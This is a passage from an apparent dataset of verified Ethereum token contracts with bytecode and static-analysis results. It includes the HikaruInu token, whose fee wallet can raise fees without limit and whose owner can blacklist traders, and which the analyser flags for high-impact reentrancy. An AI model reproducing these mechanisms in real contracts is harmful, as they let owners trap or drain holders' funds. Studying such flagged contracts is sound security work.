f161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d24d571f3dda3326f1424297e3b6ca379e30f2c5b916d1aad6d100796ae3100c64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,719
0x7A996A81778C333ee8FeD69e045AE15267d85e71
/** *Submitted for verification at Etherscan.io on 2021-10-28 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HikaruInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0x576795e76f36CcB15aE5b6205B685D2C9d2FC805); address payable private _feeAddrWallet2 = payable(0x576795e76f36CcB15aE5b6205B685D2C9d2FC805); string private constant _name = "Hikaru Inu"; string private constant _symbol = "HIKARUINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); emit Transfer(address(0), _msgSender(), _tTotal); } function enableTax() external onlyOwner { swapEnabled = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610344578063c3c8cd8014610364578063c9567bf914610379578063cfe81ba01461038e578063dd62ed3e146103ae57600080fd5b8063715018a614610295578063842b7c08146102aa5780638da5cb5b146102ca57806395d89b41146102f2578063a9059cbb1461032457600080fd5b8063313ce567116100e7578063313ce5671461020f57806353eb3bcf1461022b5780635932ead1146102405780636fc3eaec1461026057806370a082311461027557600080fd5b806306fdde031461012f578063095ea7b31461017457806318160ddd146101a457806323b872dd146101cd578063273123b7146101ed57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600a81526948696b61727520496e7560b01b60208201525b60405161016b919061157e565b60405180910390f35b34801561018057600080fd5b5061019461018f36600461144b565b6103f4565b604051901515815260200161016b565b3480156101b057600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161016b565b3480156101d957600080fd5b506101946101e836600461140a565b61040b565b3480156101f957600080fd5b5061020d610208366004611397565b610474565b005b34801561021b57600080fd5b506040516009815260200161016b565b34801561023757600080fd5b5061020d6104c8565b34801561024c57600080fd5b5061020d61025b366004611543565b610507565b34801561026c57600080fd5b5061020d61054f565b34801561028157600080fd5b506101bf610290366004611397565b61057c565b3480156102a157600080fd5b5061020d61059e565b3480156102b657600080fd5b5061020d6102c5366004611565565b610612565b3480156102d657600080fd5b506000546040516001600160a01b03909116815260200161016b565b3480156102fe57600080fd5b5060408051808201909152600981526848494b415255494e5560b81b602082015261015e565b34801561033057600080fd5b5061019461033f36600461144b565b610669565b34801561035057600080fd5b5061020d61035f366004611477565b610676565b34801561037057600080fd5b5061020d61070c565b34801561038557600080fd5b5061020d610742565b34801561039a57600080fd5b5061020d6103a9366004611565565b6107f0565b3480156103ba57600080fd5b506101bf6103c93660046113d1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610401338484610847565b5060015b92915050565b600061041884848461096b565b61046a84336104658560405180606001604052806028815260200161175c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c4e565b610847565b5060019392505050565b6000546001600160a01b031633146104a75760405162461bcd60e51b815260040161049e906115d3565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104f25760405162461bcd60e51b815260040161049e906115d3565b600f805460ff60b01b1916600160b01b179055565b6000546001600160a01b031633146105315760405162461bcd60e51b815260040161049e906115d3565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461056f57600080fd5b4761057981610c88565b50565b6001600160a01b03811660009081526002602052604081205461040590610d0d565b6000546001600160a01b031633146105c85760405162461bcd60e51b815260040161049e906115d3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106645760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161049e565b600a55565b600061040133848461096b565b6000546001600160a01b031633146106a05760405162461bcd60e51b815260040161049e906115d3565b60005b8151811015610708576001600660008484815181106106c4576106c461171a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610700816116e9565b9150506106a3565b5050565b600c546001600160a01b0316336001600160a01b03161461072c57600080fd5b60006107373061057c565b905061057981610d91565b6000546001600160a01b0316331461076c5760405162461bcd60e51b815260040161049e906115d3565b600f54600160a01b900460ff16156107c65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161049e565b600f80546a295be96e6406697200000060105563ff0000ff60a01b1916630100000160a01b179055565b600d546001600160a01b0316336001600160a01b0316146108425760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161049e565b600b55565b6001600160a01b0383166108a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049e565b6001600160a01b03821661090a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109cf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049e565b6001600160a01b038216610a315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049e565b60008111610a935760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049e565b6000546001600160a01b03848116911614801590610abf57506000546001600160a01b03838116911614155b15610c3e576001600160a01b03831660009081526006602052604090205460ff16158015610b0657506001600160a01b03821660009081526006602052604090205460ff16155b610b0f57600080fd5b600f546001600160a01b038481169116148015610b3a5750600e546001600160a01b03838116911614155b8015610b5f57506001600160a01b03821660009081526005602052604090205460ff16155b8015610b745750600f54600160b81b900460ff165b15610bd157601054811115610b8857600080fd5b6001600160a01b0382166000908152600760205260409020544211610bac57600080fd5b610bb742601e611679565b6001600160a01b0383166000908152600760205260409020555b6000610bdc3061057c565b600f54909150600160a81b900460ff16158015610c075750600f546001600160a01b03858116911614155b8015610c1c5750600f54600160b01b900460ff165b15610c3c57610c2a81610d91565b478015610c3a57610c3a47610c88565b505b505b610c49838383610f1a565b505050565b60008184841115610c725760405162461bcd60e51b815260040161049e919061157e565b506000610c7f84866116d2565b95945050505050565b600c546001600160a01b03166108fc610ca2836002610f25565b6040518115909202916000818181858888f19350505050158015610cca573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ce5836002610f25565b6040518115909202916000818181858888f19350505050158015610708573d6000803e3d6000fd5b6000600854821115610d745760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161049e565b6000610d7e610f67565b9050610d8a8382610f25565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dd957610dd961171a565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e2d57600080fd5b505afa158015610e41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6591906113b4565b81600181518110610e7857610e7861171a565b6001600160a01b039283166020918202929092010152600e54610e9e9130911684610847565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ed7908590600090869030904290600401611608565b600060405180830381600087803b158015610ef157600080fd5b505af1158015610f05573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610c49838383610f8a565b6000610d8a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611081565b6000806000610f746110af565b9092509050610f838282610f25565b9250505090565b600080600080600080610f9c876110f7565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fce9087611154565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610ffd9086611196565b6001600160a01b03891660009081526002602052604090205561101f816111f5565b611029848361123f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161106e91815260200190565b60405180910390a3505050505050505050565b600081836110a25760405162461bcd60e51b815260040161049e919061157e565b506000610c7f8486611691565b60085460009081906b033b2e3c9fd0803ce80000006110ce8282610f25565b8210156110ee575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006111148a600a54600b54611263565b9250925092506000611124610f67565b905060008060006111378e8787876112b8565b919e509c509a509598509396509194505050505091939550919395565b6000610d8a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c4e565b6000806111a38385611679565b905083811015610d8a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049e565b60006111ff610f67565b9050600061120d8383611308565b3060009081526002602052604090205490915061122a9082611196565b30600090815260026020526040902055505050565b60085461124c9083611154565b60085560095461125c9082611196565b6009555050565b600080808061127d60646112778989611308565b90610f25565b9050600061129060646112778a89611308565b905060006112a8826112a28b86611154565b90611154565b9992985090965090945050505050565b60008080806112c78886611308565b905060006112d58887611308565b905060006112e38888611308565b905060006112f5826112a28686611154565b939b939a50919850919650505050505050565b60008261131757506000610405565b600061132383856116b3565b9050826113308583611691565b14610d8a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049e565b803561139281611746565b919050565b6000602082840312156113a957600080fd5b8135610d8a81611746565b6000602082840312156113c657600080fd5b8151610d8a81611746565b600080604083850312156113e457600080fd5b82356113ef81611746565b915060208301356113ff81611746565b809150509250929050565b60008060006060848603121561141f57600080fd5b833561142a81611746565b9250602084013561143a81611746565b929592945050506040919091013590565b6000806040838503121561145e57600080fd5b823561146981611746565b946020939093013593505050565b6000602080838503121561148a57600080fd5b823567ffffffffffffffff808211156114a257600080fd5b818501915085601f8301126114b657600080fd5b8135818111156114c8576114c8611730565b8060051b604051601f19603f830116810181811085821117156114ed576114ed611730565b604052828152858101935084860182860187018a101561150c57600080fd5b600095505b838610156115365761152281611387565b855260019590950194938601938601611511565b5098975050505050505050565b60006020828403121561155557600080fd5b81358015158114610d8a57600080fd5b60006020828403121561157757600080fd5b5035919050565b600060208083528351808285015260005b818110156115ab5785810183015185820160400152820161158f565b818111156115bd576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116585784516001600160a01b031683529383019391830191600101611633565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561168c5761168c611704565b500190565b6000826116ae57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116cd576116cd611704565b500290565b6000828210156116e4576116e4611704565b500390565b60006000198214156116fd576116fd611704565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461057957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b305c71096c32e5423e9c8a84da9a7610bd6d13d79c3a0e5095ac2e5ad7218be64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,720
0x038ee87d74a14adf58eb71075ec9a0910fde353b
pragma solidity ^0.4.24; /* * Creator: HDC (HardyCorps) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * HardyCorps smart contract. */ contract HDCToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 500000000 * (10**5); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function HDCToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "HardyCorps"; string constant public symbol = "HDC"; uint8 constant public decimals = 5; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require 